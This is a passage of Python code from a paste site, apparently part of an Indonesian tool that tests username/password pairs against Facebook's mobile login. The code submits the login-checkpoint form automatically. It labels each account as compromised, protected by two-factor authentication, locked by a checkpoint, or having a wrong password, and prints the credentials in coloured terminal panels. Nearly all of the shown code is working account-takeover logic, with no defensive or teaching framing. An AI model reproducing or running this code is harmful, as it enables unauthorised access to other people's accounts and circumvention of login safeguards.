- true = tree.add(Columns([Panel(f"[bold red]{username}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]User ID[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30), Panel(f"[bold red]{passwd}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30)]))
- tree.add(Panel(f"[bold red]Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Useragent[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
- tree.add(Panel("[bold red]OPSS, AKUN TERKENA SESI NEW, KEMUNGKINAN SUSAH TERBUKA!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Opsi Detedtor[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
- printz(tree)
- else:
- tree = Tree(Panel.fit("[bold red]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
- true = tree.add(Columns([Panel(f"[bold red]{username}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]User ID[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30), Panel(f"[bold red]{passwd}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30)]))
- tree.add(Panel(f"[bold red]Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Useragent[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
- tree.add(Panel("[bold green]SELAMAT AKUN TAPYES, SILAKAN CEK DI FACEBOOK LITE!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Opsi Detedtor[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
- printz(tree)
- elif "checkpoint" in byps.cookies.get_dict():
- title = re.findall("\<title>(.*?)<\/title>",str(resp2))
- repo2 = resp2.find("form",{"method":"post"})
- for x in resp2("input"):
- if x.get("name") in ['fb_dtsg','jazoest','checkpoint_data','submit[Continue]','nh']: data2.update({x.get("name"):x.get("value")})
- resu = byps.post("https://mbasic.facebook.com"+repo2.get("action"),data=data2)
- resu2 =bs(resu.text,"html.parser")
- cek=[cek.text for cek in resu2.find_all("option")]
- if(len(cek)==0):
- if "Lihat detail login yang ditampilkan. Ini Anda?" in title:
- tree = Tree(Panel.fit("[bold red]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
- true = tree.add(Columns([Panel(f"[bold red]{username}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]User ID[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30), Panel(f"[bold red]{passwd}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30)]))
- tree.add(Panel(f"[bold red]Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Useragent[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
- tree.add(Panel("[bold green]SELAMAT AKUN TIDAK CHEKPOINT, SILAKAN CEK DI FACEBOOK LITE!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Opsi Detedtor[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
- printz(tree)
- elif "Masukkan Kode Masuk untuk Melanjutkan" in re.findall("\<title>(.*?)<\/title>",str(resp2)):
- tree = Tree(Panel.fit("[bold red]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
- true = tree.add(Columns([Panel(f"[bold red]{username}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]User ID[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30), Panel(f"[bold red]{passwd}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30)]))
- tree.add(Panel(f"[bold red]Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Useragent[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
- tree.add(Panel("[bold red]OPSS, AKUN TERPASANG AUTENTIKASI DUO FAKTOR!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Opsi Detedtor[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
- printz(tree)
- elif "Lihat notifikasi di perangkat lain" in str(resp2):
- tree = Tree(Panel.fit("[bold red]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
- true = tree.add(Columns([Panel(f"[bold red]{username}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]User ID[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30), Panel(f"[bold red]{passwd}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30)]))
- tree.add(Panel(f"[bold red]Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Useragent[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
- tree.add(Panel("[bold red]LIHAT NOTIFIKASI YANG DI KIRIM DARI PERANGKAT LAIN!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Opsi Detedtor[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
- printz(tree)
- else:
- tree = Tree(Panel.fit("[bold red]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
- true = tree.add(Columns([Panel(f"[bold red]{username}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]User ID[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30), Panel(f"[bold red]{passwd}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30)]))
- tree.add(Panel(f"[bold red]Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Useragent[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
- tree.add(Panel("[bold red]OPSS, TERJADI KESALAHAN, LOGIN ERROR NOT FOUND!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Opsi Detedtor[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
- printz(tree)
- else: pass
- for opt in range(len(cek)):
- tree = Tree(Panel.fit("[bold red]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
- true = tree.add(Columns([Panel(f"[bold red]{username}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]User ID[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30), Panel(f"[bold red]{passwd}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30)]))
- tree.add(Panel(f"[bold red]Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Useragent[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
- tree.add(Panel(f"[bold red]{str(opt+1)}. {cek[opt].upper()}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Opsi Detedtor[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
- printz(tree)
- else:
- tree = Tree(Panel.fit("[bold blue]KATA SANDI SALAH", style = "bold grey50"), style="bold white")
- true = tree.add(Columns([Panel(f"[bold blue]{username}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]User ID[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30), Panel(f"[bold blue]{passwd}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30)]))
- tree.add(Panel(f"[bold blue]Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Useragent[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
- tree.add(Panel("[bold blue]OPSS, KATA SANDI SALAH KEMUNGKINAN SUDAH DI UBAH!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Opsi Detedtor[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
- printz(tree)
- except (Exception) as e: pass
Add Comment
Please, Sign In to add comment